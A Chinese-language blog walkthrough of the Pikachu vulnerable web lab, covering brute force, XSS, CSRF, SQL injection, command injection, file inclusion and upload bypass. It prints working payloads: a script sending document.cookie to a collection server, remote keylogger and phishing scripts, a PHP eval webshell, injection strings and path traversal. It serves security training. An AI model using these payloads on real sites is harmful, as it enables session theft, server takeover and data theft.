目录

靶场搭建

一起开启皮卡丘之旅吧

Pikachu靶场的漏洞类型

一.Burte Force(暴力破解)概述

基于表单的暴力破解

验证码绕过(on server)

验证码绕过(on client)

token防爆破?

二.Cross-Site Scripting

XSS(跨站脚本)的概念

形成XSS漏洞主要原因

post和get请求的区别

数据传输方式:

数据长度限制:

数据安全性:

数据缓存:

反射型xss(get)

反射型xss(post)

存储型xss

DOM型xss

DOM型XSS-X

三.pikachu Xss 后台

初始化/安装

cookie搜集

钓鱼结果

键盘记录

xss之盲打

四.CSRF(跨站请求伪造)

CSRF(跨站请求伪造)概述

CSRF(get)

CSRF(post)

CSRF Token

Token是如何防止CSRF的?

五.Sql Inject(SQL注入)

Sql Inject(SQL注入)概述

数字型测试:

字符型注入

搜索型注入

Xx型注入

六.Rce

RCE(remote command/code execute)概述

连接符

Windows系统:

Linux系统:

exec "ping"

exec "eval"

七.File Inclusion(文件包含漏洞)

File Inclusion(文件包含漏洞)概述

file include(local) 本地文件包含

file include(remote)远程文件包含

八.unsafe filedownload不安全的文件下载漏洞

不安全的文件下载概述

不安全的文件下载

九.Unsafe Fileupload不安全的文件上传漏洞

不安全的文件上传漏洞概述

Cilent(客户端)check

MIME type 

MIME含义

文件上传漏洞-$_FILES()函数

getimagesize 

十.Over Permission(越权漏洞) 

越权漏洞概述

水平越权

垂直越权

加油各位( •̀ ω •́ )y 期待与君再相逢


靶场搭建

通关秘籍第一步肯定是要先把靶场搭建起来

这是写的另外一篇文字 

pikachu靶场的搭建详细教程_pikachu靶场搭建教程-CSDN博客文章浏览阅读1k次,点赞10次,收藏16次。pikachu靶场的搭建详细教程 加油各位( •̀ ω •́ )y 期待与君再相逢_pikachu靶场搭建教程 https://blog.csdn.net/m0_68012373/article/details/146477372搭建完成或者已经搭建过的道友那就

和我

一起开启皮卡丘之旅吧

Pikachu靶场的漏洞类型

一.Burte Force(暴力破解)概述

“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:

1.是否要求用户设置复杂的密码;

2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;

3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);

4.是否采用了双因素认证;

...等等。

千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!

你可以通过“BurteForce”对应的测试栏目,来进一步的了解该漏洞。

从来没有哪个时代的黑客像今天一样热衷于猜解密码 ---奥斯特洛夫斯基

基于表单的暴力破解

打开就是一个这样的输入账号密码的登录框,明显是让我们进行账号密码的猜解 就是对账号密码进行暴力破解

这时候就要用到我们的爆破神器burp

当然我们第一步还是要对我们所熟知的一些弱密码进行一些尝试 比如admin 123456什么的

这里我们发现admin 123456 已经登录成功了 你说可笑不可笑

但是这里的弱账号密码有三个

我们全部找到还是要学会通过工具去破解

我们使用BP代理进行一个拦截

我们首先随意填写一个账号密码,并打开bp进行抓包,抓取成功的界面如下

我们将拦截的数据包发送的爆破模块

右键发送到intruder上

添加两个账号密码字典payload的位置选择集群炸弹攻击(交叉攻击Cluster bomb)

 随后进入Payloads模块,在payload位置,也就是username位置,上传关于我们的账号的字典

在payload 2位置选择我们的密码字典,这里如果没有字典,可以去网上查找,或者直接手动添加爆破的数(因为我们这里是有两个要破的字典 所有我们要设置两个字典的配置)如下图

随后点击右上角start attack进行爆破

随后点击右上角开始攻击(start attack)进行爆破

然后等待即可

然后根据回响的状态码 长度以及响应页面判断

最后得到三个可以登录成功的账号密码

admin/123456

pikachu/000000

test/abc123

验证码绕过(on server)

我们可以明显的看到这个登陆页面多了一个验证码的输入款

这里我们看报错

什么都不输入点击登录 他告诉我们用户名不能为空

我们随便输个账号密码 告诉我们验证码不能为空哦!

我们在加上验证码 username or password is not exists~

时候我们发现,只有当页面刷新时,验证码才会重新刷新,下面我们就来验证一下这个猜想

我们先来抓一个包,输入正确的验证码和错误的账号密码

放到重发模块

我们这时候修改密码发现我们点击重发 验证码是不会刷新也不会报错 他只是显示账号密码错误

依旧提示username or password  is not exists,由此验证我们的猜想是对的,只要页面不刷新,验证码就不会改变。

呢么剩下的步骤就和上一关一样了,我们将数据包发送到攻击模块,暴力破解

放到爆破模块

不需要管验证码 设置账号密码两个字典的位置就可以 设置集群炸弹攻击

导入我们的字典 开始攻击即可

验证码绕过(on client)

老规矩我们对输入端做一个尝试验证

这里我们输入错误的账号密码 不输入验证码 他会提示请输入验证码

我们输入一个错误的验证码 会告诉我们输入错误

输入正确的验证码会提示账号密码错误

到这里是没有问题的 但是在他出现弹窗的时候 我们已经发现他的验证码程序是写在前端

我们之间查看源代码

哎,看到这里我想说,任何在前端进行的验证,都是完全没有任何作用的

我们这里只需要先F12,再F1,选择禁用JavaScript

这时候我们发现写在前端的验证码已经失效了 然后我们安装正常的爆破步骤就可以如下图

token防爆破?

 "token"通常指的是一个用于验证用户身份和授权访问的令牌。它是一种特殊的字符串或代码,由服务器生成并分配给经过身份验证的用户。用户在成功登录后,服务器会颁发一个token给客户端(例如Web浏览器),客户端将在随后的请求中将该token作为身份验证凭据发送给服务器。

我们回到这一关

我们发现这里是没有验证码的 但实际上这里多了一个需要验证的token

我们先F12打开 开发者模式检查,在密码框代码的下边,我们就可以发现进行验证的token

我们可以使用勾选模式 查找token的所在位置

可以在底下看到有一个隐藏的token

对于有token的的验证,我们适用于已经知道账号的情况,或者账号和密码一一对应的情况,并且我们的暴力破解方式就要有所调整,我们依旧是先抓包,并发送到攻击模块

我们这里的攻击目标要选择password,以及token,攻击方式选择Pitchfork

关于第一个payload的设置 和前几关一样 类型简单列表 上传自己的字典就可以

第二个位置token处进行如下设置,我们首先来到设置(Options)模块 我们需要单独进行抓取

 往下滑,找到检索-提取(Gerp-Extract)

随后我们点击添加(Add),并且刷新请求

我们将刷新的请求中的数据包下滑,大约在928行左右找到token,选中并且复制,然后点击确定(ok)

然后这里面就会有你刚刚提取的项目

 我们再回到payloads模块,前两个位置和前几关一样,正常选择字典即可

第二个位置选择Secursive grep(递归搜索),并且将我们刚刚复制的token粘贴到下面的框里,开始攻击即可。

 开始攻击即可

二.Cross-Site Scripting

XSS(跨站脚本)的概念

XSS全称跨站脚本攻击,攻击者将恶意脚本注入网页,当用户浏览时,脚本被执行,从而达到攻击目的。

例如,在一个用户评论功能中,攻击者提交包含恶意JavaScript代码的评论,其他用户浏览该评论时,恶意代码就会在他们的浏览器中执行

XSS(跨站脚本攻击)就像在网页里埋了一个会念咒语的陷阱。攻击者通过输入框、链接等途径,把一段恶意代码(比如弹广告、偷密码的脚本)悄悄塞进网页。当用户打开这个页面时,浏览器会“傻乎乎”地执行这段代码,就像中了魔法一样。

举个例子🌰:你在论坛留言区写下 <script>偷走你的密码</script>,如果网站没做防护,所有点开这条留言的人都会触发这个脚本!

<script>alert('xss')</script>

形成XSS漏洞主要原因

形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害

post和get请求的区别

我们先看一下post和get请求的区别

数据传输方式:

GET请求:数据通过URL中的查询参数附加在URL后面,以明文形式传输数据。

POST请求:数据作为请求的正文发送,而不是通过URL传递。

数据长度限制:

GET请求:有长度限制,受浏览器和服务器对URL长度的限制。

POST请求:没有固定的长度限制,适合传输大量数据。

数据安全性:

GET请求:数据以明文形式暴露在URL中,容易被窃听和拦截。

POST请求:数据在请求正文中传输,并可以使用加密协议(如HTTPS)进行传输,相对更安全。

数据缓存:

GET请求:可以被浏览器缓存,可以提高性能。

POST请求:通常不被浏览器缓存。

反射型xss(get)

构造payload

<script>alert('xss')</script>

我们此处F12,选择这个输入框 ,将最大长度改为20000多加几个0,我们就可以正常输入内容了 

其实这里就是get和post请求的一个区别

GET请求:有长度限制,受浏览器和服务器对URL长度的限制。

POST请求:没有固定的长度限制,适合传输大量数据。

然后输入我们编写的脚本

点击submit 就会有xss的弹窗

反射型xss(post)

我们发现一个登录

这里就是使用BP暴力破解弱密码和第一关一样(不在过多讲解)

获取到了管理员账号和密码,

账号:admin

密码:123456

我们登陆之后发现还是一个输入框

依然使用我们编写的脚本

<script>alert('xss')</script>

 可能有人会疑惑,这一关和上一关不是一样吗,不是这样的哦 请求不一样哦

最明显的区别 就是刚刚所说的输入字符长度的限制 以及get型的那一关,我们输入的payload在url(网址)中有显示,而post则没有显示

存储型xss

攻击者将恶意脚本永久性存储在服务器的数据库或文件中。

当其他用户访问包含恶意脚本的页面时,脚本就会在他们的浏览器中执行

我们可以试着在留言板上输入一些信息

我们就会发现他会保留在我们服务器上

Payload

<script>alert('xss')</script>

提交时,会有xss的弹窗

并且当我们切换页面,再切换回来时,也会有xss弹窗,这说明我们的数据被存储起来了,也就是存储型的xss

DOM型xss

DOM的概念

通过JavaScript,可以重构整个HTML文档。您可以添加、移除、改变或重排页面上的项目。

要改变页面的某个东西,JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变或移除的方法和属性,都是通过文档对象模型来获得的(DOM)。

所以,你可以把DOM理解为一个一个访问HTML的标准编程接囗。

通过这个对象模型,JavaScript 获得创建动态 HTML 的所有力量:

  • JavaScript 能改变页面中的所有 HTML 元素
  • JavaScript 能改变页面中的所有 HTML 属性
  • JavaScript 能改变页面中的所有 CSS 样式
  • JavaScript 能删除已有的 HTML 元素和属性
  • JavaScript 能添加新的 HTML 元素和属性
  • JavaScript 能对页面中所有已有的 HTML 事件作出反应
  • JavaScript 能在页面中创建新的 HTML 事件

我们随便输入测试

这里查看一下源代码

"<a href='"+str+"'>what do you see?</a>"

而这个str就是我们需要制作一个闭合来实现我们的html的编码

"<a href='#' onclick=alert('lulu')>'>what do you see?</a>"

#' onclick=alert('lulu')> 这是就是我们要构造的Payload

DOM型XSS-X

#' onclick=alert('lulu')>

三.pikachu Xss 后台

初始化/安装

第一次打开需要一个初始化/安装

http://pikachu/pkxss/pkxss_install.php

如果数据库连接失败 请查看config.inc.php里面所连接的数据库权限等级是否够高

成功之后我们就可以看到这样一个页面

我们登陆账号密码

  • 里面有三个模块
  • cookie搜集 钓鱼结果 键盘记录

cookie搜集 钓鱼结果 键盘记录

cookie搜集

<script>document.location = 'http://pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

钓鱼结果

<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

键盘记录

<script src="http://pikachu/pkxss/rkeypress/rk.js"></script>

xss之盲打

也就是说只有后台会看到前端输入的内容。从前端无法判断是否存在XSS,怎么办?

不管3721,往里面插XSS代码,然后等待,可能会有惊喜!由于是后端,可能安全考虑不太严格当管理员登录时,就会被X!

<script>alert('xss')</script>

四.CSRF(跨站请求伪造)

CSRF(跨站请求伪造)概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。

GET/vul/csrf/csrfget/csrf_get_edit.php?sex=123&phonenum=123&add=123&email=123&submit=submit HTTP/1.1

攻击者伪造的链接

http://pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=123&phonenum=123&add=123&email=123&submit=submi

CSRF(get)

我们进去之后是一个登陆的页面

这里我们点击一下提示 当然你可以看选择暴力破解 这里就不再讲述 因为这里的重点是CSRF

我们随机选择一个账号登录 就lucy

进去之后可以看到一些基本信息

我们点击修改

随便输入一些 进行一个抓包

这里我们可以发现 他是get请求 这代表什么 代表我们的输入的请求都会在url里展示

这就是说我们通过手动构造一个恶意链接

我们把这个链接复制下来

GET/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456&add=luoyan&email=123456789%40qq.com&submit=submit

\

伪造请求链接

http://pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456&add=china&email=123456789%40qq.com&submit=submit

我们就要把这个链接发送给用户 诱导用户点开

点开之后我们就可以看到他的地址被更改成china

CSRF(post)

我们继续看post请求的CSRF

我们都知道post请求的信息是无法在url里面进行一个显示

这时候该怎么去伪造一个恶意链接 我们往下看

CSRF Token

Token是如何防止CSRF的?

CSRF的主要问题是敏感操作的链接容易被伪造,那么如何让这个链接不容易被伪造?

每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证!

Ant上CSRF(token)项目的token生成代码:

五.Sql Inject(SQL注入)

Sql Inject(SQL注入)概述

哦,SQL注入漏洞,可怕的漏洞。

     在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。

一个严重的SQL注入漏洞,可能会直接导致一家公司破产!

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;

2.使用参数化(Parameterized Query 或 Parameterized Statement);

3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

SQL注入在网络上非常热门,也有很多技术专家写过非常详细的关于SQL注入漏洞的文章,这里就不在多写了。

你可以通过“Sql Inject”对应的测试栏目,来进一步的了解该漏洞。

如果想打开数据库进行测试 可通过以下方法

我们打开数据库的bin文件

在此文件夹里打开cmd指令框

打开数据库

mysql -u pikachu -p

数字型测试:

这里有一个选择的输入款 在我们输入相对应的数字 数据库就会给我们做出相对应的回响

$id=$_POST['id']

select字段1,字段2 from表名where id=$id; (1 or 1=1;)

这里我们随便选择一个数字进行抓包

我们可以看到是post请求 和我们选择的id 发送到重发模块

我们对id进行一个给改让一永远等于一 1 or 1=1;

点击发送 我们可以看到 200 已经回响成功了

查看页面渲染

这时候所有的数据都被爆出来了

字符型注入

我们依旧先判断下闭合符

我们输入1'页面报错

当我们输入一个存在的值kobe 会显示你的uid是3 回显相对应的邮件

但我们输入一个不存在的值 他会提示我们不存在

$uname=$_GET['username']

select字段1,字段2 from表名where username='';

Select id,email from member where username='kobe';

Select id,email from member where username='kobe' or 1 =1#';

构造闭合payload

Kobe' or 1 =1#'

' or '1'='1

'kobe' or 1 =1#';

搜索型注入

随便输入尝试一下

Select * from member where username like '%k%’;

数据库搜索

Like ‘%%’

‘%xxxx%' or 1=1 #%’

构造的payload

xxxx%' or 1=1 #

Xx型注入

('xx')or 1=1#')

xx')or 1=1#

六.Rce

RCE(remote command/code execute)概述

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口

比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。

连接符

我们先来了解下Windows系统和Linux系统的连接符

Windows系统:

|:只执行后面的语句。

||:如果前面的语句执行失败,则执行后面的语句。

&:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。

&&:如果前面的语句为假,则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统:

;:执行完前面的语句再执行后面的语句,当有一条命令执行失败时,不会影响其它语句的执行。

|(管道符):只执行后面的语句。

||(逻辑或):只有前面的语句执行出错时,执行后面的语句。

&(后台任务符):两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。

&&(逻辑与):如果前面的语句为假则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。(命令替换):当一个命令被解析时,它首先会执行反引号之间的操作。例 echo whoami 附上地址:链接: Pikachu靶场通关实录-RCE篇 - 简书

exec "ping"

回到题目,我们先来ping一下本地

我们跟上连接符看看能不能执行其他命令

127.0.0.1 | dir C:

这里成功查看了C盘的文件,咱们也可以尝试一下其他的连接符,这里我就不多做演示了,理论上可以执行任何的系统命令

exec "eval"

这里pikachu的远程代码执行真的非常简单,建议玩下其他靶场的远程代码执行

这里我就简单介绍下eval这个函数

  • 动态执行代码:eval() 函数使程序能够在运行时动态执行字符串中的代码。它可以将字符串中的代码作为有效的程序代码进行解析和执行。
  • 字符串转换为代码:eval() 函数将接收到的字符串参数解析为编程语言的有效代码,并尝试执行该代码。这意味着您可以在字符串中包含变量、表达式、函数调用等,并且它们将在执行时被解释和计算。

phpinfo();

七.File Inclusion(文件包含漏洞)

File Inclusion(文件包含漏洞)概述

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:

include(),include_once()

require(),require_once()

这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境

文件包含漏洞分为如下两种情况:

1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。

2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

你可以通过“File Inclusion”对应的测试栏目,来进一步的了解该漏洞。

file include(local) 本地文件包含

这里我们随便选择一个 这里都是有文件回显的

这些图片都是后端自己存在的 且都是由后端传到前端的

所有我们的前端人员是可以进行一个修改的

我们可以尝试修改filename后的文件名读取其他的文件

呢么我们能否读取本地的文件呢,肯定是可以的 大胆一些

这里我们可以猜测后台是Linux的操作系统

里面有很多配置文件

因为这里我们不知道有几层 所以我们可以多跳转几次 就可以到跟路径去 后面再加上/Windows\win.ini

?filename=C:/../../../../Windows\win.ini&submit=提交查询

这就是一个本地文件包含的漏洞

file include(remote)远程文件包含

同样随便查询一个人物

这一关和上一关有什么不同,这一关我们可以访问远程服务器上的文件

比如这里我们访问百度

有什么用呢,我们可以在自己服务器上写一个木马文件,在这里远程包含我们的木马文件,然后通过我们的webshell管理工具进行连接,以此来getshell

八.unsafe filedownload不安全的文件下载漏洞

不安全的文件下载概述

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。

此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。

所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!

不安全的文件下载

我们右键在新窗口打开链接 

我们更改下载的文件名

http://pikachu/vul/unsafedownload/execdownload.php?filename=../../../index.php

九.Unsafe Fileupload不安全的文件上传漏洞

不安全的文件上传漏洞概述

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。

比如:

--验证文件类型、后缀名、大小;

--验证文件的上传方式;

--对文件进行一定复杂的重命名;

--不要暴露文件上传后的路径;

--等等...

Cilent(客户端)check

页面是一个上传的操作

我们先写一个一句话木马,并修改文件后缀名为php

<?php @eval($_POST['shell']); ?>

然后我们上传一句话木马 发现上传的文件不符合类型

我们查看一下前端代码 他只能上传jpg png gif的文件

但是很可惜任何被写在前端的都是没有用的

这里可以直接你把他调用的函数删除了

也可以直接F12 F1 禁用javascript

然后我们上传我们的一句话木马

然后我们访问这个文件

http://pikachu/vul/unsafeupload/uploads/1.php

空白基本上就代表上传成功了,我们使用蚁剑连接

这时候就可以成功的连接

MIME type 

MIME含义

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。

常见的MIME类型,比如:

超文本标记语言文本 .html,.html text/html

普通文本 .txt text/plain

RTF文本.rtf application/rtf

GIF图形 .gif image/gif

JPEG图形 .ipeg,jpg image/jpeg

文件上传漏洞-$_FILES()函数

$_FILESO通过使用PHP的全局数组$_FILES,你可以从客户计算机向远程服务器上传文件。第一个参数是表单的input name,第二个下标可以是"name","type","size","tmp_name"或“error”,就像这样:

·$_FILESI"file"]["name"]-被上传文件的名称

·$_FILES['file“]["type']-被上传文件的类型

·S_FLES'file']['size']-被上传文件的大小,以字节计

·$_FILES[“file'][“tmp_name']-存储在服务器的文件的临时副本的名称

·$_FLES[“file"]I"error']-由文件上传导致的错误代码

我们只需要把这里文件类型进行更改就可以

image/jpeg

然后剩下的步骤就是和之前一样 用一剑连接

getimagesize 

Getimagesize()返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。

是否可以绕过呢?可以,因为图片头可以被伪造。

copy

copy /b 图片.jpg + 木马.php 合成的文件名.jpg

http://pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2025/04/01/87385367ec0924c986b961863850.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

十.Over Permission(越权漏洞) 

越权漏洞概述

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

因此,在在权限管理中应该遵守:

1.使用最小权限原则对用户进行赋权;

2.使用合理(严格)的权限校验规则;

3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

水平越权

这里我们随便登陆一个账号

查看个人信息

我们可以观察发现可以通过修改url中的用户名查看其他人的信息

实现水平越权

垂直越权

这里我们可以看到里面有两个用户 一个超级用户 一个普通用户

超级管理员是可以添加用户 而普通用户只能查看列表

我们要做的就是通过普通用户实现一个添加用户的权限

这里我们抓取一个超级用户添加用户的包

把他发送到重发模块 这里有一个Cookie 我们需要做的就是把他换成普通用户的

我们登录普通用户

然后抓包 得到普通用户的cookie v

复制粘贴到第一次抓包的cook里

然后我们发送请求包

这时候我们就实现垂直越权了

加油各位( •̀ ω •́ )y 期待与君再相逢

Logo

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。

更多推荐